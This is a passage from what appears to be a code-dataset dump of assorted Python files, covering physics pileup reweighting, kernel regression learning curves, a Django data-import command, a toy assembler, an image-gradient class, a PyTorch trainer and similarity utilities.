ndataalt.Clone(\"ttbar_pileup_reweight_alt\")\nttbar_pileup_reweightalt.Divide(dttbaralt)\n\nttbar_pileup_reweight.Write()\nttbar_pileup_reweight_up = ndataup.Clone(\"ttbar_pileup_reweight_up\")\nttbar_pileup_reweight_up.Divide(dttbar)\nttbar_pileup_reweight_up.Write()\n\nfiles = [\nROOT.TFile(\"signal_1300PU.root\"),\nROOT.TFile(\"signal_1500PU.root\"),\nROOT.TFile(\"signal_1700PU.root\"),\nROOT.TFile(\"signal_1900PU.root\"),\nROOT.TFile(\"signal_2100PU.root\"),\nROOT.TFile(\"signal_2300PU.root\"),\nROOT.TFile(\"signal_2700PU.root\"),\nROOT.TFile(\"signal_3100PU.root\")\n]\n\nnames = [\n\"PileUp_Ratio_signal1300.root\",\n\"PileUp_Ratio_signal1500.root\",\n\"PileUp_Ratio_signal1700.root\",\n\"PileUp_Ratio_signal1900.root\",\n\"PileUp_Ratio_signal2100.root\",\n\"PileUp_Ratio_signal2300.root\",\n\"PileUp_Ratio_signal2700.root\",\n\"PileUp_Ratio_signal3100.root\"\n]\n\ndhists = []\ndhistsalt = []\nfor ifile in range(0,len(files)):\n\toutputsig = ROOT.TFile(names[ifile] , \"recreate\" )\n\toutputsig.cd()\n\n\n\n\tdhists.append(files[ifile].Get(\"npvrealtrue\"))\n\tdhists[ifile].Scale(1./dhists[ifile].Integral())\n\n\tdhistsalt.append(files[ifile].Get(\"npvrealtruealt\"))\n\tdhistsalt[ifile].Scale(1./dhistsalt[ifile].Integral())\n\n\tPileup_Ratio = ndata.Clone(\"Pileup_Ratio\")\n\n\n\n\tPileup_Ratio_up = ndataup.Clone(\"Pileup_Ratio_up\")\n\tPileup_Ratio.Divide(dhists[ifile])\n\n\tPileup_Ratio_up.Divide(dhists[ifile])\n\tPileup_Ratio.Write()\n\tPileup_Ratio_up.Write()\n\t#outputsig.Write()\n\toutputsig.Close()\n\n\toutputsigalt = ROOT.TFile(\"alt\"+names[ifile] , \"recreate\" )\n\toutputsigalt.cd()\n\tPileup_Ratioalt = ndataalt.Clone(\"Pileup_Ratioalt\")\n\tPileup_Ratioalt.Divide(dhistsalt[ifile])\n\tPileup_Ratioalt.Write()\n\toutputsigalt.Close()\n","sub_path":"TBpileup_Maker.py","file_name":"TBpileup_Maker.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"537321368","text":"import numpy as np\nfrom globalOptim_gr2 import globalOptim\nfrom scipy.optimize import minimize\nfrom doubleLJ import doubleLJ, doubleLJ_energy, doubleLJ_gradient\nfrom fingerprintFeature import fingerprintFeature\nfrom gaussComparator import gaussComparator\nfrom krr_class2 import krr_class\nimport sys\n\ndef energyANDforceLC_searchData(arg=1):\n Ndata = 1500\n Natoms = 7\n\n # parameters for potential \n eps, r0, sigma = 1.8, 1.1, np.sqrt(0.02)\n\n # parameters for kernel and regression \n reg = 1e-7\n sig = 30\n\n def Efun(X):\n params = (1.8, 1.1, np.sqrt(0.02))\n return doubleLJ_energy(X, params[0], params[1], params[2])\n\n def gradfun(X):\n params = (1.8, 1.1, np.sqrt(0.02))\n return doubleLJ_gradient(X, params[0], params[1], params[2])\n\n featureCalculator = fingerprintFeature()\n comparator = gaussComparator(sigma=sig)\n krr = krr_class(comparator=comparator, featureCalculator=featureCalculator)\n\n optim = globalOptim(Efun, gradfun, krr, Natoms=Natoms, dmax=2.5,\n Niter=200, Nstag=400, sigma=1, maxIterLocal=3)\n optim.runOptimizer()\n X = optim.Xsaved[:Ndata]\n X = np.random.permutation(X)\n \n G = featureCalculator.get_featureMat(X)\n \n E = np.zeros(Ndata)\n F = np.zeros((Ndata, 2*Natoms))\n for i in range(Ndata):\n E[i], grad = doubleLJ(X[i], eps, r0, sigma)\n F[i] = -grad\n \n NpointsLC = 30\n Ndata_array = np.logspace(1,3,NpointsLC).astype(int)\n FVU_energy_array = np.zeros(NpointsLC)\n FVU_force_array = np.zeros((NpointsLC, 2*Natoms))\n for i in range(NpointsLC):\n N = int(3/2*Ndata_array[i])\n Esub = E[:N]\n Fsub = F[:N]\n Xsub = X[:N]\n Gsub = G[:N]\n GSkwargs = {'reg': [reg], 'sigma': np.logspace(0, 2, 5)}\n FVU_energy_array[i], FVU_force_array[i, :], _ = krr.gridSearch_EandF(Esub, Fsub, Gsub, Xsub, **GSkwargs)\n print(FVU_energy_array[i])\n #print(FVU_force_array[i])\n\n np.savetxt('LC_finger_search_perm' + str(arg) + '.dat', np.c_[Ndata_array, FVU_energy_array, FVU_force_array], delimiter='\\t')\n\nif __name__ == '__main__':\n arg = int(sys.argv[1])\n energyANDforceLC_searchData(arg)\n","sub_path":"krrThomas/grendel/krrLC_finger_search_gr.py","file_name":"krrLC_finger_search_gr.py","file_ext":"py","file_size_in_byte":2395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"231595529","text":"# coding: utf-8\nfrom django.core.management.base import BaseCommand, CommandError\nimport json\nimport csv\nfrom django.shortcuts import get_object_or_404, render\n\nfrom productions.models import *\nfrom people.models import *\n\nimport datetime\nimport os\n\n\n\nclass Command(BaseCommand):\n help = \"Imports locations from json file - Forein keys wont work any more -- deletes old. for site deploy\"\n def add_arguments(self, parser):\n pass\n def handle(self, *args, **options):\n print (\"suuupdooofff\")\n\n __location__ = os.path.realpath(\n os.path.join(os.getcwd(), os.path.dirname(__file__)))\n\n Team.objects.all().delete()\n Cast.objects.all().delete()\n Play.objects.all().delete()\n Producer.objects.all().delete()\n Production.objects.all().delete()\n Person.objects.all().delete()\n\n\n with open(os.path.join(__location__, 'initialdata.csv')) as f:\n print(\"opened\")\n reader = csv.DictReader(f, (\n \"Producer\", #\n \"q\",\n \"Producer2\",#\n \"w\",\n \"Play\", #\n \"e\",\n \"Writer\", #\n \"r\",\n \"Writer2\", #\n \"a\",\n \"Writer3\", #\n \"x\",\n \"Director\",\n \"f\",\n \"Director2\",\n \"t\",\n \"Premiere\",\n ), delimiter=';')\n print(reader)\n\n producer = \"\"\n for row in reader:\n\n\n\n print (row[\"Writer\"])\n print (row[\"Play\"])\n print (row[\"Writer2\"])\n print (row[\"Writer3\"])\n print (\"------------------------\")\n\n play, created = Play.objects.get_or_create(name=row[\"Play\"],\n defaults={\"name\":row[\"Play\"]})\n\n writer, created = Person.objects.get_or_create(name=row[\"Writer\"],\n defaults={\"name\": row[\"Writer\"]})\n play.writers.add(writer)\n\n if row[\"Writer2\"] != \"\":\n writer, created = Person.objects.get_or_create(name=row[\"Writer2\"],\n defaults={\"name\": row[\"Writer2\"]})\n play.writers.add(writer)\n\n if row[\"Writer3\"] != \"\":\n writer, created = Person.objects.get_or_create(name=row[\"Writer3\"],\n defaults={\"name\": row[\"Writer3\"]})\n play.writers.add(writer)\n\n\n production = Production.objects.create(name = play, play=play,\n premiere=datetime.date(int(row[\"Premiere\"]),1,1))\n\n\n if row[\"Producer\"] != \"\":\n producer, created = Producer.objects.get_or_create(name=row[\"Producer\"],\n defaults={\"name\":row[\"Producer\"]})\n\n producer.productions.add(production)\n producer.save()\n\n if row[\"Producer2\"] != \"\":\n producer2, created = Producer.objects.get_or_create(name=row[\"Producer2\"],\n defaults={\"name\":row[\"Producer2\"]})\n producer2.productions.add(production)\n producer2.save()\n\n if row[\"Director\"] != \"\":\n director, created = Person.objects.get_or_create(name=row[\"Director\"],\n defaults={\"name\": row[\"Director\"]})\n team = Team.objects.create(position=1, person=director, production=production)\n\n if row[\"Director2\"] != \"\":\n director, created = Person.objects.get_or_create(name=row[\"Director2\"],\n defaults={\"name\": row[\"Director2\"]})\n team = Team.objects.create(position=1, person=director, production=production)\n\n\n\n\n pass","sub_path":"productions/management/commands/import_initial_data.py","file_name":"import_initial_data.py","file_ext":"py","file_size_in_byte":3255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"30216999","text":"# NAME:LiYingXian\n# DATE:20200406-1\n# FUNC:将循环转账路径按顺序保存到文件中\n# QSTN:暂无\n\nimport Global\nimport time\n\nres_tmp = [] #\n\n#保存不同长度的环到不同字典中\n#没找到一个环就判断环的长度并存入字典中,字典key为环的起始ID,然后value用集合保存,这样可以保证相同的环不会重复出现\n\ndef choice(loop_road):\n\n if len(loop_road) == 3:\n res_tmp.append(','.join(str(num) for num in loop_road))\n if loop_road[0] not in Global.dic3:\n Global.dic3[loop_road[0]] = set(res_tmp)\n else:\n Global.dic3[loop_road[0]].add(','.join(str(num) for num in loop_road))\n res_tmp.clear()\n\n elif len(loop_road) == 4:\n res_tmp.append(','.join(str(num) for num in loop_road))\n if loop_road[0] not in Global.dic4:\n Global.dic4[loop_road[0]] = set(res_tmp)\n else:\n Global.dic4[loop_road[0]].add(','.join(str(num) for num in loop_road))\n res_tmp.clear()\n\n elif len(loop_road) == 5:\n res_tmp.append(','.join(str(num) for num in loop_road))\n if loop_road[0] not in Global.dic5:\n Global.dic5[loop_road[0]] = set(res_tmp)\n else:\n Global.dic5[loop_road[0]].add(','.join(str(num) for num in loop_road))\n res_tmp.clear()\n\n elif len(loop_road) == 6:\n res_tmp.append(','.join(str(num) for num in loop_road))\n if loop_road[0] not in Global.dic6:\n Global.dic6[loop_road[0]] = set(res_tmp)\n else:\n Global.dic6[loop_road[0]].add(','.join(str(num) for num in loop_road))\n res_tmp.clear()\n\n elif len(loop_road) == 7:\n res_tmp.append(','.join(str(num) for num in loop_road))\n if loop_road[0] not in Global.dic7:\n Global.dic7[loop_road[0]] = set(res_tmp)\n else:\n Global.dic7[loop_road[0]].add(','.join(str(num) for num in loop_road))\n res_tmp.clear()\n\n#保存循环转账路径\n#分别对不同长度的字典按key值排序,然后按序保存在文件中\n\ndef mysort():\n fh = open('../dataset/28w/result.txt', 'a', encoding='utf-8') # a 是追加的意思\n\n #num = len(Global.dic3) + len(Global.dic4) + len(Global.dic5) + len(Global.dic6) + len(Global.dic7)\n for i in Global.dic3:\n Global.num += len(Global.dic3[i])\n\n for i in Global.dic4:\n Global.num += len(Global.dic4[i])\n\n for i in Global.dic5:\n Global.num += len(Global.dic5[i])\n\n for i in Global.dic6:\n Global.num += len(Global.dic6[i])\n\n for i in Global.dic7:\n Global.num += len(Global.dic7[i])\n\n fh.write(str(Global.num) + '\\n')\n\n for i in sorted (Global.dic3):\n for j in Global.dic3[i]:\n for k in j:\n fh.write(k)\n fh.write('\\n')\n\n for i in sorted(Global.dic4):\n for j in Global.dic4[i]:\n for k in j:\n fh.write(k)\n fh.write('\\n')\n\n for i in sorted(Global.dic5):\n for j in Global.dic5[i]:\n for k in j:\n fh.write(k)\n fh.write('\\n')\n\n for i in sorted(Global.dic6):\n for j in Global.dic6[i]:\n for k in j:\n fh.write(k)\n fh.write('\\n')\n\n for i in sorted(Global.dic7):\n for j in Global.dic7[i]:\n for k in j:\n fh.write(k)\n fh.write('\\n')\n\n fh.close()\n\n\nif __name__ == '__main__':\n l_time = time.time()\n mysort()\n print('run time is :'+str(time.time()-l_time))","sub_path":"CONNECT/lyx.py","file_name":"lyx.py","file_ext":"py","file_size_in_byte":3525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"569164893","text":"GainKey=\"FREE\" \n# Number of events to be processed (default is 10)\ntheApp.EvtMax = 2\n\n\n# ***************************************************************\ninclude( \"ByteStreamCnvSvc/ByteStreamSelector_jobOptions.py\" )\nByteStreamAddressProviderSvc = Service( \"ByteStreamAddressProviderSvc\" )\nByteStreamAddressProviderSvc.TypeNames += [\"LArRawChannelContainer/LArRawChannels\"]\nByteStreamAddressProviderSvc.TypeNames += [\"LArDigitContainer/FREE\"] \ninclude( \"LArDetMgrDetDescrCnv/LArDetMgrDetDescrCnv_H8_joboptions.py\" )\n\nif GainKey==\"FREE\":\n ToolSvc.LArRodDecoder.FirstSample=2\n\nToolSvc = Service( \"ToolSvc\" )\nToolSvc.LArRoI_Map.Print=FALSE\n# Set output level threshold (2=DEBUG, 3=INFO, 4=WARNING, 5=ERROR, 6=FATAL )\nMessageSvc = Service( \"MessageSvc\" )\nMessageSvc.OutputLevel =DEBUG\nAthenaEventLoopMgr = Service (\"AthenaEventLoopMgr\")\nAthenaEventLoopMgr.OutputLevel=4\n\ntheApp.Dlls += [ \"LArEventTest\"]\ntheApp.topAlg+=[\"DumpLArRawChannels\"]\nDumpLArRawChannels=Algorithm(\"DumpLArRawChannels\")\nDumpLArRawChannels.LArRawChannelContainerName = \"LArRawChannels\" \nDumpLArRawChannels.OutputFileName=\"LArRawChannels.txt\"\n\n## theApp.Dlls+= [\"LArROD\"]\n## theApp.TopAlg += [\"ReadLArDigits\"]\n## ReadLArDigits = Algorithm( \"ReadLArDigits\" )\n## ReadLArDigits.ContainerKey=GainKey;\n\n\n## theApp.Dlls += [ \"RootHistCnv\" ]; \n## theApp.HistogramPersistency = \"ROOT\" \n## NtupleSvc = Service( \"NtupleSvc\" )\n## NtupleSvc.Output=[\"FILE1 DATAFILE='dummyfile.root' TYP='ROOT' OPT='NEW'\"]\n","sub_path":"LArCalorimeter/LArTest/LArEventTest/share/DumpLArRawChannels_eformatOnly.py","file_name":"DumpLArRawChannels_eformatOnly.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"640373985","text":"#Static Table\nOPCODE_TABLE = {\n\t\"HALT\"\t:'00',\n\t\"ADD\"\t:'01',\n\t\"SUB\"\t:'02',\n\t\"MULT\"\t:'03',\n\t\"MOVER\"\t:'04',\n\t\"MOVEM\"\t:'05',\n\t\"COMP \"\t:'06',\n\t\"BC\"\t:'07', #JUMP\n\t\"DIV\"\t:'08',\n\t\"READ\"\t:'09',\n\t\"PRINT\"\t:'10'\n}\n\nREGISTER_TABLE = {\n\t\"AREG\"\t:'1',\n\t\"BREG\"\t:'2',\n\t\"CREG\"\t:'3',\n\t\"DREG\"\t:'4'\n}\n\nCONDITIONALS = {\n\t\"LT\" :'1',\n\t\"LE\" :'2',\n\t\"GT\" :'3',\n\t\"GE\" :'4',\n\t\"EQ\" :'5',\n\t\"ANY\":'6'\n}\n\nASSEMBLER_DIR = {\n\t\"START\" : 'NULL',\n\t\"END\"\t: 'NULL',\n}\n\nDECLARATIVES = {\n\t\"DS\" : 'NULL',\n\t\"DC\" : 'NULL'\n}\n\n#Dynamic Tables\nSYMBOL_TABLE = [[],[]]\nLITERAL_TABLE = {}\n\n\ndef CHECK(word):\n\t'''\n\tCHECKS IF THE WORD IS A REGISTER/CONDITIONAL/SYMBOL.\n\t'''\n\tif word in REGISTER_TABLE:\n\t\treturn REGISTER_TABLE[word]\n\n\telif word in CONDITIONALS:\n\t\treturn CONDITIONALS[word]\n\n\telif word[0] == '=' :\n\t\tif word in LITERAL_TABLE:\n\t\t\treturn LITERAL_TABLE[word]\n\t\telse:\n\t\t\tLITERAL_TABLE[word] = \"L\"+str((len(LITERAL_TABLE)+1))\n\t\t\treturn LITERAL_TABLE[word]\n\n\telse:\n\t\t#If present return\n\t\tif word in SYMBOL_TABLE[0]:\n\t\t\tidx = SYMBOL_TABLE[0].index(word)\n\t\t\treturn SYMBOL_TABLE[1][idx]\n\t\telse:\n\t\t\tSYMBOL_TABLE[0].append(word)\n\t\t\tSYMBOL_TABLE[1].append(\"S\"+str((len(SYMBOL_TABLE[0])+1)))\n\t\t\treturn SYMBOL_TABLE[1][-1]\n\nLC = 000\nwith open(\"code.txt\") as f, open(\".output1.txt\", \"w+\") as out:\n\tfor line in f:\n\t\tline = line.strip('\\n').split(' ')\n\t\tIC = [\"\" for _ in range(len(line))]\n\n\t\tif line[0][-1] == ':' :\n\t\t\tprint()\n\t\t\tprint(*line, sep='\\t')\n\t\telse:\n\t\t\tprint(\"\\n \",*line, sep='\\t')\n\n\n\t\t#If first word is a LABEL\n\t\tif line[0][-1] == ':' :\n\t\t\tSYMBOL_TABLE[0].append(line[0][:-1])\n\t\t\tSYMBOL_TABLE[1].append(LC)\n\t\t\tline.pop(0)\n\t\t\n\t\t\n\n\t\t#If first word is an opcode\n\t\tif line[0] in OPCODE_TABLE:\n\t\t\tLC+=1\n\t\t\tIC[0] = OPCODE_TABLE[line[0]]\n\t\t\t#To check HALT opcode as length is 1\n\t\t\tif len(line) > 1:\n\t\t\t\tIC[1] = CHECK(line[1])\n\t\t\t\tif len(line) == 3:\n\t\t\t\t\tIC[2] = CHECK(line[2])\n\n\t\t\tIC.insert(0,LC)\n\t\t\tprint(*IC, sep='\\t')\n\t\t\tprint(*IC, sep='\\t', file = out)\n\n\n\t\t#Else if Assembler Directive\n\t\telif line[0] in ASSEMBLER_DIR:\n\t\t\tif line[0] == 'START':\n\t\t\t\tif len(line) == 1:\n\t\t\t\t\tLC = 0\n\t\t\t\telse:\n\t\t\t\t\tLC = int(line[1]) - 1\n\n\n\t\t#To avoid index out of range.\n\t\tif len(line) == 3:\n\t\t\t#For declartive Statements\n\t\t\tif line[1] in DECLARATIVES:\n\t\t\t\tLC+=1\n\t\t\t\tif line[0] in SYMBOL_TABLE[0]:\n\t\t\t\t\tidx = SYMBOL_TABLE[0].index(line[0])\n\t\t\t\t\tprint(\"Replacing\", SYMBOL_TABLE[1][idx], \"with\", LC)\n\t\t\t\t\tSYMBOL_TABLE[1][idx] = LC\n\t\t\t\telse:\n\t\t\t\t\tSYMBOL_TABLE[0].append(line[0])\n\t\t\t\t\tSYMBOL_TABLE[1].append(LC)\n\n\t\tif line[0] == 'ORIGIN':\n\t\t\tLC = int(line[1]) - 1\n\n\nprint(\"\\n\\nSYMBOL_TABLE = \", SYMBOL_TABLE)\nprint(\"LITERAL_TABLE = \", LITERAL_TABLE)\nprint(\"LC = \", LC)\n","sub_path":"SPOS/PASS1/pass1.py","file_name":"pass1.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"221458971","text":"# -*- coding: utf-8 -*-\n# @time : 2019/10/28 20:24\n# @author : rpyxqi@gmail.com\n# @file : trading_strategy_demo.py\n\nfrom quant_models.applications.algo_strategy.trading_strategy import *\n\n\ndef main():\n ret = get_schedule(participant_rate=0.15, target_ratio=0.01, sec_code=\"300694.SZ\",\n end_date=\"2019-10-22\", period=100, target_vol=2150000 - 642000 - 664210, target_period=None,\n price_ratio=0.98, update=True)\n print(ret)\n\n ret = get_trade_schedule(participant_rate=0.15, target_ratio=0.01, sec_code=\"300694.SZ\",\n end_date=\"2019-10-21\", period=100, target_vol=1508000, target_period=None,\n price_ratio=0.98)\n print(ret)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"quant_models/applications/algo_strategy/trading_strategy_demo.py","file_name":"trading_strategy_demo.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"339915131","text":"import Image\nimport numpy as np\nimport os\nimport re\n\n\n\n \n\"\"\"\nMain class:\n Converts jpg images to 2d array gradients\n\"\"\"\nclass IndivGradient:\n \"\"\"\n contrast refers to the different ways to find contrast differences for each pixel\n res refers to resolution decrease (e.g. res=.5 will decrease size+resolution of image by 50%)\n \"\"\"\n def __init__(self, file1,contrast=0, res=1):\n self.file = file1\n self.image = Image.open(file1) #original image\n self.image = self.image.resize((int(self.image.size[0]*res)\n ,int(self.image.size[1]*res)), Image.ANTIALIAS) #resizes image (decreases resolution)\n arr = np.asarray(self.image) \n self.row = arr.shape[0] #row size of image\n self.col = arr.shape[1] #column size of image \n self.copy = np.copy(arr) \n #self.removeLowGradient(100,arr=self.copy) #removes some tissues that screws up calculations\n self.gradient = np.empty(arr.shape) #original gradient change\n self.mod_gradient = np.empty(arr.shape) #modified gradient change\n #if contrast == 0:\n #self.gradientDiff(self.copy) \n #self.scaleGrad()\n #self.saveGradImage()\n \n def gradientDiff(self,im_arr):\n \"\"\"\n Passes in 2d image array and outputs gradient difference\n Algorithm: Each pixel in gradient results from the max of\n the difference between the current pixel and the pixels around it\n \"\"\"\n for i in range(self.row): #iterate over rows\n for j in range(self.col): #iterate over columns\n value = [] #stores all gradient values to find max gradient difference \n try: \n if im_arr[i,j][0]>im_arr[i,j-1][0] and j != 0: #calculates gradient of above pixel\n temp = im_arr[i,j][0]-im_arr[i,j-1][0]\n value.append(temp)\n else:\n value.append(im_arr[i,j][0]-im_arr[i,j][0])\n if im_arr[i,j][0]>im_arr[i-1,j][0] and i != 0: #calculates gradient of left pixel\n temp = im_arr[i,j][0]-im_arr[i-1,j][0]\n value.append(temp)\n else:\n value.append(im_arr[i,j][0]-im_arr[i,j][0])\n if im_arr[i,j][0]>im_arr[i+1,j][0] and i != gradient.shape[0]-1: #calculates gradient of right pixel\n temp = im_arr[i,j][0]-im_arr[i+1,j][0]\n value.append(temp)\n else:\n value.append(im_arr[i,j][0]-im_arr[i,j][0])\n if im_arr[i,j][0]>im_arr[i,j+1][0] and j != gradient.shape[1]-1: #calculates gradient of below pixel\n temp = im_arr[i,j][0]-im_arr[i,j+1][0]\n value.append(temp)\n else:\n value.append(im_arr[i,j][0]-im_arr[i,j][0])\n except Exception:\n pass\n temp = max(value)\n self.gradient[i,j][0] = temp\n self.gradient[i,j][1] = temp\n self.gradient[i,j][2] = temp\n self.mod_gradient = np.copy(self.gradient)\n \n def removeLowGradient(self, intensity, arr):\n #sets all pixels below intensity value (intensity) to zero\n for i in range(self.row):\n for j in range(self.col):\n if arr[i,j][0] < intensity:\n arr[i,j][0] = 0\n arr[i,j][1] = 0\n arr[i,j][2] = 0\n \n def printOrigImage(self):\n #prints original image\n self.image.show()\n \n def printGradImage(self, orig = False):\n #prints gradient image\n if orig == True:\n im = Image.fromarray(np.uint8(self.gradient))\n im.show()\n else:\n im = Image.fromarray(np.uint8(self.mod_gradient))\n im.show()\n \n def saveGradImage(self, orig = False):\n #saves gradient image\n im = Image.fromarray(np.uint8(self.gradient))\n im.save((self.file[:-4]+'TEST.jpg'))\n \n def removeGrad(self, x, y, row, col):\n #removes gradient of row*col at x and y coordinates\n for i in range(row):\n for j in range(col):\n self.mod_gradient[x+i][j+y][0],self.mod_gradient[x+i][j+y][1],self.mod_gradient[x+i][j+y][2] = 0,0,0\n \n def clearGrad(self):\n self.mod_gradient = np.copy(self.gradient)\n \n def scaleGrad(self):\n #scales gradient so it becomes more clear\n scale = 255/np.max(self.mod_gradient)\n for i in range(self.row):\n for j in range(self.col):\n val = int(self.mod_gradient[i,j][0]*scale)\n self.mod_gradient[i][j][0],self.mod_gradient[i][j][1],self.mod_gradient[i][j][2]=val,val,val\n \na=IndivGradient(\"C:/Users/Standard.Admin-THINK.000/Desktop/Xray-Image-Matching-master/Xray-Image-Matching-master/0009_AP_4.5.10.jpg\", res = .5)\n#image = Image.open(\"C:/Users/Standard.Admin-THINK.000/Desktop/Xray-Image-Matching-master/Xray-Image-Matching-master/0009_AP_4.5.10.jpg\")\n#im_arr = np.asarray(image) \n\n","sub_path":"image_test.py","file_name":"image_test.py","file_ext":"py","file_size_in_byte":5615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"639465485","text":"import abc\nimport logging\nimport random\n\nimport numpy as np\nimport torch\n\nimport pymia.data.assembler as asmbl\nimport pymia.deeplearning.config as cfg\nimport pymia.deeplearning.data_handler as hdlr\nimport pymia.deeplearning.logging as log\nimport pymia.deeplearning.torch.model as mdl\nimport pymia.deeplearning.training as train\n\n\nclass TorchTrainer(train.Trainer, abc.ABC):\n\n def __init__(self, data_handler: hdlr.DataHandler, logger: log.Logger, config: cfg.DeepLearningConfiguration,\n model: mdl.TorchModel):\n \"\"\"Initializes a new instance of the TorchTrainer class.\n\n The subclasses need to implement following methods:\n\n - validate_on_subject\n - init_subject_assembler\n\n Args:\n data_handler: A data handler for the training and validation datasets.\n logger: A logger, which logs the training process.\n config: A configuration with training parameters.\n model: The model to train.\n cudnn_deterministic: Set CUDA to be deterministic if True, otherwise results might not be fully reproducible.\n \"\"\"\n super().__init__(data_handler, logger, config, model)\n\n self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n self.model = model # only required for IntellISense\n self.model.device = self.device\n self.model.network.to(self.device)\n self.cudnn_deterministic = config.cudnn_determinism\n\n def train_batch(self, idx, batch: dict):\n images = self._get_x(batch)\n labels = self._get_y(batch)\n\n self.model.network.train()\n self.model.optimizer.zero_grad()\n\n prediction = self.model.inference(images)\n loss_val = self.model.loss_function(prediction, labels, batch=batch)\n loss_val.backward()\n self.model.optimize()\n\n if idx % self.log_nth_batch == 0:\n logging.info('Epoch {}, batch {}/{:d}: loss={:5f}'\n .format(self._get_current_epoch_formatted(),\n self._get_batch_index_formatted(idx),\n len(self.data_handler.loader_train),\n loss_val.item()))\n\n self.current_step += 1\n\n return prediction.cpu().detach().numpy(), loss_val.item() * batch['images'].size()[0]\n\n def validate_batch(self, idx: int, batch: dict) -> (np.ndarray, float):\n \"\"\"Evaluates a batch.\n\n Args:\n idx: The batch index.\n batch: The batch.\n \"\"\"\n\n images = self._get_x(batch)\n labels = self._get_y(batch)\n\n self.model.network.eval()\n\n with torch.no_grad():\n prediction = self.model.inference(images)\n loss_val = self.model.loss_function(prediction, labels, batch=batch)\n\n return prediction.cpu().numpy(), loss_val.item() * batch['images'].size()[0]\n\n def set_seed(self):\n \"\"\"Sets the seed depending of the current epoch.\"\"\"\n seed = self.seed + self.current_epoch\n logging.info('Epoch {}: Set seed to {}'.format(self._get_current_epoch_formatted(), seed))\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n if self.cudnn_deterministic:\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n\n def _check_and_load_if_model_exists(self):\n if self.model.load(self.model_dir):\n self.current_epoch = self.model.epoch + 1 # we save models always AFTER we finished an epoch,\n # now we enter the next epoch\n self.current_step = self.model.global_step # global step is incremented AFTER we have seen a batch\n self.best_model_score = self.model.best_model_score\n else:\n self.current_epoch = 1\n self.current_step = 0\n\n def _get_x(self, batch):\n return batch['images'].to(self.device)\n\n def _get_y(self, batch):\n return batch['labels'].to(self.device)\n\n @abc.abstractmethod\n def init_subject_assembler(self) -> asmbl.Assembler:\n raise NotImplementedError('init_subject_assembler')\n\n @abc.abstractmethod\n def validate_on_subject(self, subject_assembler: asmbl.Assembler, is_training: bool):\n raise NotImplementedError('evaluate_on_subject')","sub_path":"pymia/deeplearning/torch/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":4369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"608474766","text":"class Solution:\n def longestConsecutive(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n longest = 0\n num_set = set(nums)\n for num in num_set:\n # 看似for里嵌套while,时间复杂度为O(n^2)\n # 但由于仅从\"num-1 not in num_set\"开始进行while\n # 所以实则所有元素仅遍历一遍,时间复杂度为O(n)\n if num - 1 not in num_set:\n curr_len = 1\n while num + 1 in num_set:\n curr_len += 1\n num += 1\n longest = max(longest, curr_len)\n\n return longest\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.longestConsecutive([100, 4, 200, 1, 3, 2]))\n","sub_path":"LeetCode(Python)/128. Longest Consecutive Sequence.py","file_name":"128. Longest Consecutive Sequence.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"11053145","text":"# Data files\nTRAIN_FILE = \"data/train.txt\"\nDEV_FILE = \"data/dev.txt\"\nTEST_FILE = \"data/test-hidden.txt\"\nPRETRAINED_EMBEDS_FILE = \"data/pretrained-embeds.pkl\"\n\nDEV_GOLD = \"data/dev.key\" \n\nclass Actions:\n \"\"\"Enum for each possible parser action\"\"\"\n SHIFT = 0\n REDUCE_L = 1\n REDUCE_R = 2\n\n NUM_ACTIONS = 3\n\n action_to_ix = { \"SHIFT\": SHIFT,\n \"REDUCE_L\": REDUCE_L,\n \"REDUCE_R\": REDUCE_R }\n\nEND_OF_INPUT_TOK = \"\"\nNULL_STACK_TOK = \"\"\nROOT_TOK = \"\"\n","sub_path":"Deep Learning for Dependency Parser/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"67662499","text":"import numpy as np\nfrom utils.basic import cosine_sim\n\n\n# Not implemented yet\ndef pairwise_cos_sim(src, tgt):\n sim_matrix = np.zeros([len(src), len(tgt)])\n\n for i in range(len(src)):\n for j in range(len(tgt)):\n sim_matrix[i][j] = cosine_sim(src[i], tgt[j])\n\n max_sim = np.amax(sim_matrix, axis=1)\n\n return max_sim\n\n\n# Not implemented yet\ndef pairwise_cos_sim_idf(src, tgt):\n sim_matrix = np.zeros([len(src), len(tgt)])\n\n for i in range(len(src)):\n for j in range(len(tgt)):\n sim_matrix[i][j] = cosine_sim(src[i], tgt[j])\n\n max_sim = np.amax(sim_matrix, axis=1)\n\n return max_sim\n\n\ndef bert_pairwise_cos_sim(sentences, idf=False):\n import itertools\n from bert_score import score\n src_len = len(sentences)\n\n refs = [[sentence] * src_len for sentence in sentences]\n refs = list(itertools.chain(*refs))\n hyps = sentences * src_len\n\n if idf:\n p, _, _ = score(refs, hyps, lang='en', idf=True)\n p = p.reshape(src_len, -1)\n return p.detach().numpy()\n\n p, _, _ = score(refs, hyps, lang='en')\n p = p.reshape(src_len, -1)\n return 